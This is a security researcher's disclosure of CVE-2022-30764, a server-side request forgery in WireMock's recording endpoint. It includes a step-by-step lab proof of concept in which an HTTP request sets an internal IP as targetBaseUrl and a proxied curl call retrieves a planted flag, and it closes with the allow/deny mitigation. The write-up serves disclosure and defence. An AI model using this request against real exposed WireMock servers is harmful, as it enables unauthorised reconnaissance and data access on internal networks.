CVE-2022-30764
References
- Mitre
- Vulmon
- Google Group: wiremock-user
- GitHub issue: Support allow/deny rules for proxy and record targets
What is WireMock?
WireMock is a web server that can serve canned responses to pre-determined requests, which is also known as stubbing. You can create test suites that interact with an API but in a more repeatable manner since the given request will always give the expected response. This is more reliable for tests as it doesn’t rely on any state (e.g.: database with production data), or third-party services that are out of the developers’ control.
Discovered vulnerability
In order to deliver this functionality, you need to populate the stub mappings within WireMock. To populate the mapping, you start the recorder by POSTing the targetBaseUrl
to http://localhost:8080/__admin/recordings/start
. Afterwards, any request that is done to http://localhost:8080
will actually get forwarded to the provided targetBaseUrl
so that WireMock knows what the response should be for the given request. Now, performing the same request will always give you the mocked response.
The issue here is that there’s no sanitization done on the provided targetBaseUrl
parameter when initiating a recording. This is a well-known vulnerability class that is called an SSRF (server-side request forgery).
Impact
WireMock web servers aren’t intended to be exposed externally but might get left there unknowingly. If by chance it is exposed externally, then an attacker could perform reconnaissance in the internal network and discover another vulnerable service which is reachable from the victim host (e.g.: unexposed port on localhost or any other reachable host’s exposed services). Furthermore, this hypothetical discovered vulnerable service could then be exploited to either leak sensitive data or ultimately perform remote code execution and obtain a foothold into the internal network.
Proof of concept
In this post, I will simply show how I can retrieve a flag on an internal web service.
-
Set up wiremock
> docker run -it --rm -p 8080:8080 --name wiremock wiremock/wiremock:2.33.2 Unable to find image 'wiremock/wiremock:2.33.2' locally 2.33.2: Pulling from wiremock/wiremock 8e5c1b329fe3: Pull complete b2653742ea1e: Pull complete 51a3e2623294: Pull complete 793066ec175f: Pull complete 51eca40dc4b3: Pull complete 7d839211fbec: Pull complete d78675ff095d: Pull complete Digest: sha256:7d02aa4c81ce4b4849f8becd96395c7aa6919b92661a7a7acc1c36759f59f858 Status: Downloaded newer image for wiremock/wiremock:2.33.2 SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. /$$ /$$ /$$ /$$ /$$ /$$ | $$ /$ | $$|__/ | $$$ /$$$ | $$ | $$ /$$$| $$ /$$ /$$$$$$ /$$$$$$ | $$$$ /$$$$ /$$$$$$ /$$$$$$$| $$ /$$ | $$/$$ $$ $$| $$ /$$__ $$ /$$__ $$| $$ $$/$$ $$ /$$__ $$ /$$_____/| $$ /$$/ | $$$$_ $$$$| $$| $$ \__/| $$$$$$$$| $$ $$$| $$| $$ \ $$| $$ | $$$$$$/ | $$$/ \ $$$| $$| $$ | $$_____/| $$\ $ | $$| $$ | $$| $$ | $$_ $$ | $$/ \ $$| $$| $$ | $$$$$$$| $$ \/ | $$| $$$$$$/| $$$$$$$| $$ \ $$ |__/ \__/|__/|__/ \_______/|__/ |__/ \______/ \_______/|__/ \__/ port: 8080 enable-browser-proxying: false disable-banner: false no-request-journal: false verbose: false
-
Start internal web server and add a flag in web root
> docker run --rm --name secret_internal_web_server --detach nginx Unable to find image 'nginx:latest' locally latest: Pulling from library/nginx 214ca5fb9032: Pull complete f0156b83954c: Pull complete 5c4340f87b72: Pull complete 9de84a6a72f5: Pull complete 63f91b232fe3: Pull complete 860d24db679a: Pull complete Digest: sha256:2c72b42c3679c1c819d46296c4e79e69b2616fa28bea92e61d358980e18c9751 Status: Downloaded newer image for nginx:latest d63f85ef751b976ba0f7b689c5a471f938f6c24574ebd474908fc8ebae4f3c91
> docker exec -it secret_internal_web_server /bin/bash # echo "FLAG{WIREMOCK_SSRF}" > /usr/share/nginx/html/flag.txt
-
Get container IPs
> docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d63f85ef751b nginx "/docker-entrypoint.…" 31 seconds ago Up 30 seconds 80/tcp secret_internal_web_server ca1419a0c4d4 wiremock/wiremock:2.33.2 "/docker-entrypoint.…" 6 minutes ago Up 6 minutes 0.0.0.0:8080->8080/tcp, 8443/tcp wiremock
> docker inspect d63f85ef751b | findstr IPAddress "SecondaryIPAddresses": null, "IPAddress": "172.17.0.3", "IPAddress": "172.17.0.3",
-
Start the recording (either via API or the UI)
POST /wiremock/__admin/recordings/start HTTP/2 Host: http://localhost:8080 { "targetBaseUrl": "http://172.17.0.3:80" }
-
Make requests
> curl http://localhost:8080/flag.txt StatusCode : 200 StatusDescription : OK Content : FLAG{WIREMOCK_SSRF} RawContent : HTTP/1.1 200 OK Vary: Accept-Encoding, User-Agent Accept-Ranges: bytes Content-Length: 20 Content-Type: text/plain Date: Tue, 17 May 2022 13:54:47 GMT ETag: "6283a887-14" Last-Modified: Tue, 17... Forms : {} Headers : {[Vary, Accept-Encoding, User-Agent], [Accept-Ranges, bytes], [Content-Length, 20], [Content-Type, text/plain]...} Images : {} InputFields : {} Links : {} ParsedHtml : mshtml.HTMLDocumentClass RawContentLength : 20
-
We can now stop the recording and access all recorded requests and their responses at
http://localhost:8080/__admin/mappings
As you can see, the flag’s contents were retrieved!
Mitigations
The fix description is as follows (issue link):
Allow WireMock to be configured only to permit proxying (or recording, which uses proxying) to certain addresses, via an allow/deny mechanism.
Allow should be evaluated first, followed by deny.
Thanks
This vulnerability was mainly found by Jasmin Landry while we were working together with Jose Apari Pantigozo and Mathieu Novis on a penetration testing mandate.